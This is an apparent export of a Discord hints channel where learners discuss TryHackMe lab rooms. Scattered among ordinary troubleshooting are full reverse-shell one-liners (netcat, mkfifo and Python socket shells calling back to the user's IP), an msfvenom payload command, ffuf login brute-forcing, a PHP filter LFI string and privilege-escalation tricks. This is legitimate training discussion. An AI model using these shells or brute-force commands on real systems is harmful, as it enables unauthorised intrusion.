#room-hints

1 messages · Page 105 of 1

versed leaf
#

I think.

#

Or if it has a valid shell path

#

I've used that in the past for THM questions that wanted to know how many users a machine had.

#

There's multiple shells, not just /bin/bash.

#

As long as it isn't like /dev/null

#

Can't view imgur pages at work

#

Just drop it in here

#

You can escape the colon with . But it's fine.

#

with \

#

Yeah, so /nologin, /sync, /games, paths like that mean those users don't have a shell, so probably aren't "user" accounts.

#

I only see a root user

#

Oh I think I remember that. What room is this?

#

Which task

#

The second question?

#

So, based on /etc/passwd, how many users are there other than root with a valid shell?

#

Try it.

#

I don't remember how I figured out the answer to the next question, but it's the standard user that web servers run as.

green minnowBOT
#

Gave +1 Rep to @versed leaf

versed leaf
#

Oh there.

#

No problem.

#

Oh, I forgot you could send commands in.

#

Sweet.

#

Hint: the questions always tells you the format that it expects an answer in, and the number of asterisks equals the number of characters in the answer. When I'm confused, I use that to kinda clue me in. So for that question it would've said Answer format: ******** which would've told you it was looking for an account with 8 characters in it.

#

Especially helpful since it shows you slashes and periods and most other punctuation.

#

lol no worries. Learning has occurred

west harbor
#

Hiii

#

I ran into a pinch in the file upload room of the web fundamentals room

#

So you see I've been able to connect the webs in the task till it got to java.uploadvulns.thm
It'll go on my normal browser but it won't go on burp or zap

#

Keeps rejecting connection

ripe hedge
#

did you set up the proxy properly?

old dew
west harbor
west harbor
#

jwt-crawker <token> [alphabet] [maxlength]

#

Do I do an example so you'll copy paste the code ?

old dew
#

Thanks I will try that 🙂

west harbor
#

@ripe hedge here's what it says *sorry for pinging you

ripe hedge
#

are those both running on the same VM?

#

like why is the theme different?

west harbor
#

On the same machine

#

I'm running Linux as an OS

#

One is burpsuite's chrome the other is Firefox with no proxy

green minnowBOT
#

Gave +1 Rep to @west harbor

west harbor
#

You're welcome

west harbor
#

If it's going through the burp proxy it won't work but with proxy off it will(I forward the intercept) also if I use burp I'm browser it doesn't work

west harbor
#

Still haven't

#

I've read the room over and I don't see anything wrong

left thunder
west harbor
#

3 hours plus now and I'm stuck xD

left thunder
# west harbor

First of all, please use screenshots instead of photos, that's a pain to check. 🙂 Then get rid of all the duplicates in the file.

west harbor
#

Okay a minute

#

Is this okay

#

Okay?

left thunder
#

If it's the correct target machine IP then it should be, yes

west harbor
#

The target machine is correct

left thunder
west harbor
#

Yep it's working

#

Thank you so much

#

I guess it was the files that were much

crude dagger
#

Anyone able to spare a hint on Osiris? I managed to gain the foothold and first flag. Using enum scripts, I think I found the next step, but am unable to retrieve/decrypt the information. I also retrieved the necessary key and file for "offline decryption", but the according tool always crashes, when performing the decryption.
To not spoil the fun/hunt for everyone else, I can share more information via DM.

crude fjord
#

:@ i spend 3 days working on "Jeff" stuck on the FTP server. Wondering if I missed a hint somewhere about the next step. Don't think I would have ever made that connection on my own unless was able to find my own files zipped up on the webserver

#

Are you really just supposed to guess Jeff is running a script on your uploaded files?

deft siren
#

doing lazyadmin. I found the sweetrice site, which isn't "open" yet. the site tells me to go to some dashboard. I looked at the documentation and also the github repository. Everywhere it just says "log in and go to the dashboard". I can't find any login forms though. No other ports are open either.

#

5 steps install SweetRice

  1. Unzip the package and upload everything to website root directory[root dir].
  2. Open http://yourdomain/[rootdir]/ in your browser,accept the GPL license and jump to install form.
  3. Chmod directory inc,attachment,and root / permision to 755[if necessary]
  4. Enter your website ,database and administrator information and submit form.
  5. Login to dashboard and enjoy SweetRice.
#

apparently at least the first step has been done

#

nvm... found it.

plush agate
#

I'm not sure if this belongs in #room-help or not, but I am being asked "What is the name of the other user account?". I believe I have put in every logical answer in every combination I can think of, and it is not accepting it. Any help on this matter would be appreciated

versed leaf
#

Need to know what room and task you're working.

#

Is it Conti? I think that question was in Conti.

plush agate
versed leaf
#

Ah

plush agate
#

I'm not sure what I can say in here about what I have tried

versed leaf
#

If you open local user manager (lusrmgr.msc) it can show you what users are on the computer.

plush agate
#

Done that. I don't get any relevant info to the question

plush agate
#

double clicking anything produces nothing as well

versed leaf
#

It lets you open it.

#

Right-click Start, hit Run, "lusrmgr.msc", expand Users

plush agate
#

I can't

#

It doesn't let me

versed leaf
#

You sure you're on the right machine? I didn't have any issues opening it. Try restarting the box.

plush agate
green minnowBOT
#

Gave +1 Rep to @versed leaf

versed leaf
#

No worries, glad you got it.

harsh haven
#

Can anyone give me a hint for Horizontall?

#

I see that there is a CVE for the version of SSH running, but it is returning that ALL user names I am passing to it are valid

wheat helm
#

Can you share a screenshot please?

#

Verify to send an image

#

!docs verify

proud scarabBOT
harsh haven
#

!docs verify

proud scarabBOT
umbral rock
#

In 'Common Linux PrivEsc', in Task 9, the last step doesn't seem to work for me: Now, run the "script" file again, you should be sent into a root bash prompt! (I don't think I changed the script file. Not sure how it will give me a root bash prompt).

left thunder
umbral rock
left thunder
#

The script in the home directory will try to run ls. So when /tmp is not in the PATH variable it will use the default ls binary located in /usr/bin or /bin . But if you have /tmp in the PATH variable it will use your custom ls binary and therefore spawn a root shell.

umbral rock
left thunder
#

Otherwise it will just spawn a shell as the user you are already logged in with and therefore you won't even notice anything.

umbral rock
green minnowBOT
#

Gave +1 Rep to @left thunder

left thunder
serene wing
umbral rock
pulsar harness
left thunder
abstract bear
#

whether it is possible to privesc to root? (even without it i can still answer all the question)

#

?

abstract bear
dusky sage
#

hey doodz..room:authentication bypass

#

i have enumerated the list of names. i put them on a .txt

#

feed them into the cut and paste

#

ffuf -w newnamelist.txt:W1,/usr/share/wordlists/SecLists-master/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.140.65/customers/login -fc 200

#

it runs through the names and nothing happens.

#

i've tried changing the spacing, changing flags, changing '200' , even though that would be the indicator , changing wordlists (rockyou, etc) as well as reenumerating incase i missed a name

#

need halp!

left thunder
serene wing
#

https://tryhackme.com/room/johntheripper0
task 7
I basically want to know if i am going at this right, my hash file should be Joker:7bf6d9bb82bed1302f331fc6b816aada
and the command I run should be john --single --format=raw-sha256 hash7.txt

#

I was trying to use the wrong format

boreal dove
#

Can someone point me in the right direction on this server-side filter enumeration? I'm trying to use the intruder module in burp suite to enumerate what file extensions are allowed but don't seem to get any hits. Some of the write-ups I've come across reference a specific extension but that doesn't seem to work in my case.

#

Ugh, nevermind. There must have been something up with the webserver. Once I reloaded it it's working as expected.

#

Yea, that's weird. When I would try to upload a file the 'submit' parameter in the URL was returned as 'failure' rather than 'invalid' like I'm seeing now.

dusky sage
left thunder
dusky sage
#

oh. no just the usernames

left thunder
#

Or you created everything manually ?

dusky sage
#

created it manually

left thunder
#

Also the empty file itself, right ?

dusky sage
#

yes

#

i touched it

#

should i attempt to make the original enumeration of names > into a file then run it ?

left thunder
#

Can I have the IP of the target machine so I can try it myself real quick ?

dusky sage
#

10.10.171.89

left thunder
dusky sage
#

my own VM

left thunder
dusky sage
#

1.3.1

left thunder
#

Is it just a naming thing or why is your SecLists folder called SecLists-master ?

dusky sage
#

its just the seclist i downloaded

#

i think it was the suggested link in one of the rooms actually

#

that's the only thing i've had to change from the normal cut and paste commands like that

#

maybe i'll try for the attackbox

left thunder
#

Okay, could you try it like that? ffuf -w newnamelist.txt:W1 -w /usr/share/wordlists/SecLists-master/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.171.89/customers/login -fc 200

dusky sage
#

same result

#

im going to try the attackbox

left thunder
#

Ye, I guess on the attackbox it will work, as it was working for me as well

dusky sage
#

i wonder what the issue is

left thunder
dusky sage
#

thanks !

#

yeah i got it working

#

also it wouldn't take names redirected into a file, i had to manually do it . super odd but ffuf looks really usefull. i should get better with it

clever heart
#

@amber sail did you get it working?

amber sail
#

no

stuck fractal
#

Where are you finding the IP you're scanning?

amber sail
stuck fractal
#

Physically where on tryhackme are you seeing it?

amber sail
stuck fractal
#

That's the IP for your own box, not the target

amber sail
#

where it tells you if youre connected

#

thats what its telling me to check

stuck fractal
amber sail
#

it says to do "
Scan this box: nmap -sV <machines ip>" and right before it it tells me to open up the vpn

#

i wish i could send screenshots

#

it doesnt give me a IP to check

stuck fractal
#

!docs verify

proud scarabBOT
amber sail
#

just to check machines ip

stuck fractal
#

It means the target machine

#

NOT your machine.

#

Click the Start Machine button in Task 1

amber sail
#

ohhh

stuck fractal
#

Use the IP displayed under Active Machine Information

stuck fractal
amber sail
#

okay machine is starting rn

unkempt heron
#

I'm having trouble finding the HTTPS:// certificate issuer in the Encryption/Cryptography module. I'm using Safari.

#

It's Task 8

amber sail
green minnowBOT
#

Gave +1 Rep to @stuck fractal

amber sail
#

thasts 4 ports right

stuck fractal
#

No

#

That's 4 ports that it found open

amber sail
#

open

stuck fractal
#

It checked more than 4

amber sail
#

oh*

#

so 369

#

396*

stuck fractal
#

You'll need to do a bit of maths.

amber sail
#

lmao my bad i need to drink some water im dehydrated

#

oh duh i was thinking that since it found those ports open it wasnt scanning em

#

im a little slow today

versed leaf
#

Also, you need to use a switch that enables versioning/fingerprinting of the discovered services.

#

There's several available that'll do it.

stuck fractal
#

Always best to avoid rushing ahead

amber sail
#

TCP is what it didnt resolve right

stuck fractal
#

No

#

They're TCP ports

#

Have you done the nmap room?

amber sail
#

yeah i have im just really bad at remembering where to look for each flag with for certain info

#

usually when its not resolved nmap tells me

#

but nothing on there is saying not resolved

#

and im really tired so i think i should take a break before i do this\

#

i havent gone to sleep in 2 days

#

yeah ima go take a nap

#

thanks for helping me hopefully i can figure it out after my rest

clever heart
#

Notes 🙂

#

Take notes!

brittle sleet
#

Hey everyone, on the Pre Security, How Websites Work, Task 1, I'm having trouble inputting the answer. I keep getting "incorrect answer" but Idk what's going on. I've typed the answer different ways but I'm still getting incorrect answer. Can someone help me with this please lol? it's frustrating

timid hollow
#

Scratch that, I see the specific "how websites work" task... did you look at the asterisks? they give a hint

lime violet
#

..nevermind just checked the other channel

copper sequoia
#

Hey everyone. I am trying the goldeneye guided CTF and I am at the point where I am supposed to get a reverse shell by editing the path to the ASpell location.

So far I have tried

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <myIP> 4444 >/tmp/f

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<my_Ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<myIP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

sh -c '(nc -e /bin/bash <myip> 4444)'

and

sh -c '(python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<myIP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")')'

and then tryed to trigger it by going to my profile > blogs > Add a new entry >> activate spell Check

None of the above seems to work and I feel like it should... Can anyone give me a pointer?

red sluice
#

I am kind of stuck on "Smag Grotto" and I am not sure where to go from here.
More specifically, I got a shell as www-data and need to elevate to use Jake to grab user.txt.

#

||I found the cron job that adds a public key file to "authorized keys".. and I can write to this file. Idea is to create my own pair of keys, replace Jake's public key with mine and wait for the cron job to run. Then I can ssh as Jake using the private key. However, I keep getting prompted for a password each time.||

versed leaf
#

Instead of replacing Jake's keys with yours, are you able to grab Jake's keys and use them instead?

red sluice
#

I have his public key but not his private one. So yea I can’t use those.

versed leaf
#

If you get a shell as www-data, are you able to access Jake's directory? If so, should be trivial to grab his private key.

red sluice
#

Www-data doesn’t have access to Jake’s stuff. The public key I found is inside /var/.back/keys-pub.backup and I learned I can modify it.
I think it’s the way I’m formatting the key when I replace the existing content. I will experiment with this a little more once I’m get home.

wispy birch
#

For task 11 of the OWASP room, does anyone know what webapp they are talking about? Are they talking about the web app(http://10.10.63.253:8888 ) from task 7 ?

wispy birch
#

"Well, we can download it and query it on our own machine, with full access to everything in the database. Sensitive Data Exposure indeed"

Do I download it from the browser or command line?

#

when I do "ls -l" it doesn't show any databases

#

when I cd into the Downloads folders, it shows no downloaded databases

versed leaf
#

What task is that from?

wispy birch
#

OWASP room, Task 8

#

I am sorry, task 9

versed leaf
#

Oh it's just saying that for flat file databases, if not secured, you could potentially download the whole database and query it at your own leisure.

#

Keep following the task and it'll walk you through it.

wispy birch
versed leaf
wispy birch
#

everytime I try to connect, I get an unable to connect message

umbral umbra
#

How are you connecting - through a VM or using a THM-hosted attackbox?

wispy birch
#

THM-hostattack box

umbral umbra
#

Can you post a screenshot of your error?

wispy birch
#

I actually fixed it. I was typing "http://MACHINE_IP" when I should have just been typing "MACHINE_IP"

#

they don't allow me to post screenshots in here

umbral umbra
#

To post screenshots, you would need to verify your THM account with the discord bot

#

!docs verify

proud scarabBOT
red sluice
#

Has anyone recently attempted Kiba?
I found the ||prototype poisoning|| vulnerability and I found a python script that can exploit it but I keep getting this:

#

Exploit through the Dashboard (Timelion and Canvas) is also not working.

blazing harness
#

Anyone completed the Windows Forensics 1 room? I'm having trouble on the hands-on challenge specifically with finding the last time the USB was connected.

forest owl
#

need hint on overpass3

#

i am on paradox uuser

wispy birch
cedar anvil
#

!docs verify

proud scarabBOT
candid token
#

what i do wrong? wny hints?

white salmon
brave juniper
#

Hi! I'm having a problem with the machine's IP we are supposed to attack in rooms NMAP & NETWORK SERVICES. I need the IP to answer the questions, but I don't know what it is. Where can I find that IP?

timid hollow
brave juniper
#

@crisp forum Are you saying that the IP address on top of the page is the machine we have to attack? I thought this IP belongs to the machine that I am using.

#

@crisp forum @timid hollow Thanks, folks. I finally understand.😋

green minnowBOT
#

Gave +1 Rep to @crisp forum

left thunder
#

Ah, nvm if you already figured it out then ^^

brave juniper
#

@left thunder Yes. But thanks anyway.

wanton crest
#

Shaker is really perplexing... I have so many threads but I don't know how to pull them... lol

wanton crest
#

JACKPOT!

#

bwahahaha

versed leaf
steady meteor
#

Hi there, I need some help pls. What is wrong? Room Linux PrivEsc

timid hollow
steady meteor
#

yes, attackbox

timid hollow
#

so looking at the room and your script, the room doesn't have line 2&3 in the backup.sh script

#

but both should work, I'm trying it through attackbox

#

there are 2 or 3 priv esc rooms, the other one didn't look like yours I thought but I think I might've chose the wrong room

left thunder
timid hollow
#

If it is the one I linked above, it wasn't working for me either, but then I checked the permissions of the backup.sh script and it wasn't marked as executable, once I did that, it worked (I did this room previously but a long time ago)

steady meteor
#

I will try, thank you

left thunder
steady meteor
#

it work's. thank you

red sluice
#

Linux PrivEsc (NFS Priv Escalation) walk-through room / TASK 11

#

I am having trouble getting a shell after mounting the folder to my attack machine and creating a file per the instructions. Not sure where to take it from here.

#

Can someone throw me a bone?

#

I think the goal is running nfs (has SUID set)

#

But how

red sluice
#

I think I figured it out. There was another shared directory that had “no_root_squash” and I could access. Had to mount that instead and create my file there.

wise canyon
#

room network services, I have both the rsa private and .pub key, now how do I use them to login to ssh?

wise canyon
#

Yup

#

Now I am stuck in the pwning telnet

left thunder
wise canyon
#

How to drop the msfvenom script in skidy's backside

left thunder
wise canyon
#

didn't work right for some reason

left thunder
#

What have you copied ?

wise canyon
#

msfvenom -p cmd/unix/reverse_netcat lhost=10.10.166.80 lport=4444 R

left thunder
wise canyon
#

Yeah, I think I did it wong

left thunder
# wise canyon Yeah, I think I did it wong

msfvenom is a hacking tool that will create payloads for you. So you have to run that command on your attacking machine and then copy and paste the output you received from msfvenom

wise canyon
#

yeah, had to start over due to causing a ping flood

left thunder
wise canyon
#

kek

#

Where does the file drop out of term into?

#

tried looking in tmp

#

ahhh raw payload in term

left thunder
wise canyon
#

I did the payload but nothing is coming in on netcaty

#

mkfifo /tmp/tqbz; nc 10.10.166.80 4444 0</tmp/tqbz | /bin/sh >/tmp/tqbz 2>&1; rm /tmp/tqbz ?

left thunder
wise canyon
#

yah

#

oh .run

#

derp

left thunder
#

Right

#

If it's still not working with run now you might messed up the machine and have to restart it, but lets see

wise canyon
#

I got the 'connection rec' message but none of my commands print out in netcat

left thunder
#

What you mean, so if you enter whoami you are not getting a reply ?

wise canyon
#

nopr

#

oooo other term window

#

so complex

left thunder
wise canyon
#

so many windows to manage

#

nmap -vv -A 10.10.121.53 > portz.txt

#

rapid scan of all ports to file?

left thunder
wise canyon
#

nah, I assumed -A was quick and durty

left thunder
wise canyon
#

ah

#

Having a lot of fun at these puzzles. More interesting than games rn

amber sail
#

what is it not resolving

iron wigeon
#

What room you need help?

amber sail
#

vulnuniversity

#

pen testing

iron wigeon
iron wigeon
amber sail
#

but it doesnt say its not resolving anything

#

like it usually does

#

if something doesnt get resolved it usually says "did not resolve..."

iron wigeon
amber sail
#

i tried that it doesnt show me the hostname

#

i dont think it does

iron wigeon
#

nah

#

If you see the hint and make some research

#

or you can use man nmap

#

then look on -n

amber sail
#

oh yeah i forgot about man

#

thank you!

iron wigeon
left thunder
#

Not sure if simply giving out answers is a good approach, especially in the room hints channel. Just saying 🙂

iron wigeon
#

But he know the way to find that answer

left thunder
amber sail
#

what url am i supposed to be using

#

it doesnt give me one

iron wigeon
#

the URL of the machine

#

that you deploy

#

Look at the gobuster syntax

amber sail
#

i did that and i got this

iron wigeon
#

use the wordlist on dirbuster 🙂

versed leaf
#

Also, read the error message, it explains what's happening. You're telling it to scan https...., but it got an HTTP response from the server. Drop the s.

amber sail
#

okay i did that but its still not giving me a upload form page directory

amber sail
iron wigeon
#

/usr/share/wordlist/dirbuster/

#

use the medium one

versed leaf
#

Or you can run dirbuster against it without any options and it'll use the default list.

amber sail
#

okay now im getting somewhere using the medium word list

#

its giving me alot more dir

#

got it it was the last dir that showed up after 62k

iron wigeon
#

Here is the location: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

green minnowBOT
#

Gave +1 Rep to @iron wigeon

iron wigeon
severe mesa
#

Anyone completed the Windows Forensics 1 room? I'm having trouble on the hands-on challenge specifically with finding complete path from where the python 3.8.2 installer was run? I've already checked the ShumCache, AmCache, BAM.

worthy hawk
#

Pls has anyone done ✅ with psycho break

white salmon
#

<redacted link> Heyo. I was trying out Crocc Crew CTF, but when trying to impersonate as administrator to gain it's ticket, this happened...

#

not sure if my KRB5CCNAME is set correctly, if someone could help me out i'll be grateful. 😄

harsh oar
#

network services room at SMB

#

solved it nvm

#

it s not about that

solar island
#

Hi, i have a problem with Network services, task 7: Exploiting Telnet (like most of us blobhuh ). I run the msfvenom command on my terminal (attack box), start the netcat listener, then run the payload in the telnet session (i use another terminal on my machine). The listener starts, but when i paste and run the payload in the telnet session, i read only this in my terminal:

#

connection from ip-10-10-27-182.eu-west-1 .... 53274 received!

#

Tried so many times...

left thunder
solar island
left thunder
#

Huh? I couldn't read that message as you deleted it that fast 😄

solar island
#

Eh eh... because I tried a different thing and got the flag. I was in the reverse shell, but I wasn't aware of that. Sorry, but for a native Windows user I expected something more verbose from the reverse shell. Thanks @left thunder

green minnowBOT
#

Gave +1 Rep to @left thunder

runic bramble
#

In ohsint room, for the last question, I don't understand what I am trying to get the password to?

left thunder
white salmon
somber lintel
#

Guys, can I get some help with Overpass3?|| I have created a public and private key on my attacker machine with ssh-keygen and than copied the public key into authorized_keys inside /home/paradox/.ssh I keep getting "Permission denied (publickey,gssapi-keyex,gssapi-with-mic)" when trying to connect.||

ripe hedge
#

you should have a password, but check the permissions on the .ssh and authorized_keys files/folders

somber lintel
#

Thanks, I'll take another look on the evening. If memory serves, I did set the file to 600 and folder to 700

ripe hedge
#

it may not like your key type as well

bright nova
#

Hi guys I was doing the DNS room, on the task 5 first question "What is the CNAME of shop.website.thm?" the console continue to return this "** server can't find .website.thm: NXDOMAIN", can someone help me?

bright nova
#

like on the top i select the different records and the console return the answer

#

no its clear

#

oh ok but how do I know what kind of subdomain I need? isnt that what im looking for?

#

ok im dumb

#

yep now works lol, thank you didnt read the subdomain in the question🙃

serene wing
#

I'm doing the nessus room and I got the version, but it is saying that I am wrong

#

bruh wat

#

why are there 2

red sluice
#

Going through MR Robot now. Hint for key 2 says white colored font.. and I am kind of stuck.

flat juniper
worthy hawk
#

Hi 🙋

hoary mortar
#

working on file inclusion, any hints on flag3

#

task 8

left thunder
hoary mortar
#

from what i have, it's as though the page is stripping characters and numbers. Am I missing something?

hoary mortar
#

yeah I did, works with the other two common methods. Tried changing to the second method but the same thing happens. stripping of characters and numbers.

#

dev tools

#

yeah but keeps changing back to the initial method

#

maybe am doing it all wrong

#

Okay thanks.

steady ember
#

Brainstorm room. Nmap showing only 3 open ports (-p- scan) and answer is wrong. What am I missing?

left thunder
steady ember
#

been booted for 30mins

#

guess I'll restart the server

#

no difference

left thunder
# steady ember no difference

Well, I have not done that room so unfortunately I don't know, was just and idea on why it might only found 3 ports.

white salmon
#

Isn't there 6?

#

6 open, anyway.

#

I'd try it again, however I'm doing Ra.

pure river
#

Hello, this may be a very stupid question but I can't figure out where to find the code for the first level of MLSC CTF 2022 (it's supposed to be on a discord server but I don't know which one it is and what I am supposed to be looking for). If anyone has played it, thanks!

left thunder
pure river
left thunder
pure river
#

Alright, I'll wait to see if someone knows

grizzled wren
#

When I get a shell on a Windows target machine, how do I determine what shell it is? Sometimes ls does not work, sometimes I have to use powershell "(New-Object System.Net.WebClient).Downloadfile(...) instead of powershell -c "Invoke-WebRequest ... and sometimes certutil.exe -urlcache -f .... Is there a more deterministic way I can use to determine what to use?

amber sail
#

it never told me how to send a file over a ip to see

#

can i just use the touch command with some flag and send it to an ip

junior wave
woven mortar
#

on the webserver of the machine

amber sail
#

no i gotta send it from a different machine

woven mortar
#

yeah, that is your kali/attacker machine.

#

and just by looking at the format of the answer you should be able to guess the answer

#

try answering it, and if you don't get it do, the other rooms/start learning before you jump into CTF's

amber sail
junior wave
amber sail
#

oh nvm i got it, it wasnt taking the last bit of the url when i clicked open link

#

just had to copy it myself

#

but i cant seem to figure out what file type because i dont have any files on my machine

junior wave
#

Then change the extension to whatever you see fit

shrewd crow
#

Hey

#

Am doing the html injection tutorial but when I try to view the source code I can't find the particular codes am looking for

left thunder
shrewd crow
#

Brb

left thunder
shrewd crow
#

i cant find the input field

left thunder
shrewd crow
#

yea the website opened

#

umm

#

am supposed to inject it through the source code right?

left thunder
left thunder
shrewd crow
#

oh

#

ok brb

north echo
#

??????????

white salmon
#

for the nmap room im having trouble on the question "How would you activate all of the scripts in the "vuln" category?" and how to scan for all ports

trim haven
white salmon
white salmon
#

wdym task 11?

left thunder
white salmon
#

ya nmap switches

#

oh zamn

#

nvm i thought you were talking about something else

light tundra
#

Hey folks! I'm doing File Inclusion on the Jr. Pentester path, and I can't seem to find a flag for the first challenge! Anyone got any hints for me?

#

yes

#

ty

#

omfg there's a hint haha

#

I've done some traversal stuff, tried some payloads with BS

#

okay yeah I've been changing that to POST

#

let me check some things

#

omfg

#

so I changed the source and then submitted. What is the difference between that, and me using BurpSuite>Intercept>Repeater/Intruder for doing the same?

#

hm

#

maybe i just did something wrong in BS

#

okay

#

so there seems to be a .js file that somehow stops that from being grabbed properly if I do it in BS. Thank you, @burnt rivet

green minnowBOT
#

Gave +1 Rep to @burnt rivet

wispy birch
#

What settings do I have to change in the Burp Suite tool to get the error on the left when going to the Google.com

wispy birch
#

Where am I suppose to look for the capture data when I perform this task

junior wave
#

That one

amber sail
#

i cant figure out what filetype this is

#

ive tried every file type i know about

#

@lofty girder sorry for the ping

#

is there any hint or anything you can give me

#

nvm i figured it out

junior wave
#

Then see if any of those applied to the answer

light tundra
#

hey folks! In Jr. Pentesting course and working on the SSRF room. Can I get another hint on Task 2?

left thunder
light tundra
#

hmm i see it but can't seem to get the flag ID to the end of the URL like the challenge says

#

using &x=

hallow tinsel
#

Can I ask someone about Osiris? Thanks.

terse eagle
#

Haven’t fully solved it yet though

left thunder
light tundra
#

just got it, thank you @left thunder !

green minnowBOT
#

Gave +1 Rep to @left thunder

light tundra
#

took a lot of trial and error but I guess that's what the industry is about sometimes

mighty spade
#

Hey guys. Im stuck in cc: Pen testing room - the final exam (https://tryhackme.com/room/ccpentesting).
I found the hidden dir (secret) with Gobuster but there is nothing in it, how can I find the flags in here???

#

I tried using different extensions after /secret/ via Gobuster but still I didn't find anything that I can get access to it.

#

html, php, xml, txt, js, png, jpg

#

I used some wordlists in seclist like "common.txt"

#

Thanx!

versed quail
#

I have been stuck on the room DNS in Detail for almost 2 weeks. No one can answer my question so far. The practical does not work no matter how exactly I follow the youtube video. At 13:30 the speaker says he's having an issue, the video cuts for a sec and the speaker comes back and says if your having issue to wait a few minutes and it will resolve itself. This is not working for me. I just want to speak to someone, a real person, who can walk me through what is going on, what is going wrong, etc. I am so frustrated I could cry and I only just started this whole thing.
Just how do you get help? What am I paying for with this website if I am just on my own????

shrewd crow
#

@unborn spade

jaunty canopy
#

Hello everyone, any hint on nax machine?

#

I tried every enumeration step i could, still stuck

#

Any hints on what i shall focus on?

#

Thank you, i will go play around with that!😅

jaunty canopy
#

I managed to get the username and answer the third question. Now any hint for where to find the password?

daring stream
#

hi

#

i gussed sqli for question 4

#

i havent done question 3 yet

#

and the hint for question for hints at password bruteforce

timid hollow
#

did you scan the system?

#

I did this one a long time ago, guess need to understand what steps you've done, did you scan or poke at it

shrewd crow
#

just last week

spice kelp
#

how long do you recommend staying stuck on a problem before peeking at the walkthrough?

timid hollow
#

it really depends, like did you exhaust all your ideas? and also depends what type of problem it is... I'd struggle for a few minutes, half hour what not on q&a

#

for a challenge system, maybe a day or even more

#

Like my stupid example is Hack Park where I got the foothold but could not get priv esc... so I left it for a week, came back, got priv esc in half an hour

spice kelp
#

i'm on the ignite room, and i got the user flag pretty quickly yesterday with some rce i found on exploit-db and then spent maybe 45 minutes looking around trying to find a vector for priv esc without any luck. then today i've spent about 40 minutes trying with sqlmap instead (also via exploit-db).

timid hollow
#

yeah it just really depends if you think you've exhausted your knowledge and have no other paths to explore or not

#

I haven't done that room, so I can't even give a hint but someone might've or you could search this room for one

spice kelp
#

i appreciate the meta-advice

#

perhaps i'll leave it for a bit and do another room or two, and then i'll try searching

daring stream
# timid hollow I did this one a long time ago, guess need to understand what steps you've done,...

i nmapped it and got this `PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.41 seconds
`

timid hollow
daring stream
#

ftp allows anonymous login but when i try to connect it times out

#

ssh is rarely vulnerable to any exploits

#

i assume its an sqli injection but the hint says a wordlist will help

timid hollow
#

Basically if you are struggling what to do here, you might want to go back and look at something like the web fundamentals path

#

How to enumerate websites and also what techniques to try

daring stream
#

ive done a ffuf and a dirbuster scan

#

i just get errors

#

i found robots.txt but i assume thats useless

#

it does tell me there might be a CUPS server running but i dont know

timid hollow
#

Did you just go try poking at the website?

#

In your web browser?

daring stream
#

ye

#

i did a bunch of dirbuster as well

#

i might try burpsuite

timid hollow
sinful plaza
green minnowBOT
#

Gave +1 Rep to @timid hollow

timid hollow
daring stream
#

it just a default apache page though

timid hollow
#

Did you do a nmap scan with -p-? So it could be a directory you haven’t found or a port (again I don’t remember this one well but based on what I did… I’d keep poking at web)

daring stream
#

kk

#

thanks

timid hollow
#

Good luck

daring stream
# timid hollow Good luck

i got this with dirbuster ```Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /icons/ - 403
ERROR: http://10.10.35.227:80/strona_7/ - ConnectTimeoutException The host did not accept the connection within timeout of 30000 ms

timid hollow
light tundra
#

**Jr Pentester > Burp Suite — Task 7: Repeater
**
I am unable to interpret what they are asking here. I change the number at the end of the url to lengthy number but only get a 404. Should I try some code injection or something?

tulip mural
light tundra
#

hm okay

#

ty

tulip mural
#

NP

light tundra
#

I'm sure I did

#

I have moved on for now lol

#

omfg no I actually didn't. @tulip mural and @left thunder thank you

green minnowBOT
#

Gave +1 Rep to @tulip mural

light tundra
#

Ty @left thunder

#

got it

north cypress
#

Hey, I have a problem on owasptop10 -> insecure deserialization - code execution
Even though I understand and follow the steps suggested to the letter I can not get a reverse shell through the cookie

P.S. Seems like merely rebooting the machine fixed the problem (no additional steps needed).

amber sail
#

hey guys i need help on this question i cant find the name of the user

white salmon
#

hey i am doing thm dogcat ctf, any hint what am i doing wrong?

#

and why the /etc/passwd file isn't opening

mild eagle
#

Can i Ping you about this

sturdy hearth
white salmon
sturdy hearth
#

Isn't there an ||ext|| GET param?

white salmon
sturdy hearth
#

Oh, haven't you tried to read the index.php file?

#

It will give you a way to bypass this file extension issue

flat juniper
white salmon
sturdy hearth
#

Do you need .php%00?

#

You mentioned, it appends .php by itself

#

Also, as suggested by @flat juniper
Try to look into filters, as including the .php file will render it and not show its actual content

white salmon
white salmon
sturdy hearth
#

Yeah, index.php is including itself again

sturdy hearth
#

||php://filter/convert.base64-encode/resource=||

white salmon
#

wait wait i got it

white salmon
steady stratus
#

dogcat is probably one of my favourite rooms @white salmon

#

well done (:

runic ore
slim violet
#

hi

#

I am in
Network Services room

#

Task 4

#

last one, now I have the key from id_rsa

#

and I changed the chmod 600

#

Download this file to your local machine, and change the permissions to "600" using "chmod 600 [file]".

Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server.

What is the smb.txt flag?

#

this one what do they want us to do?

lost canopy
#

ssh cactus@$ip

#

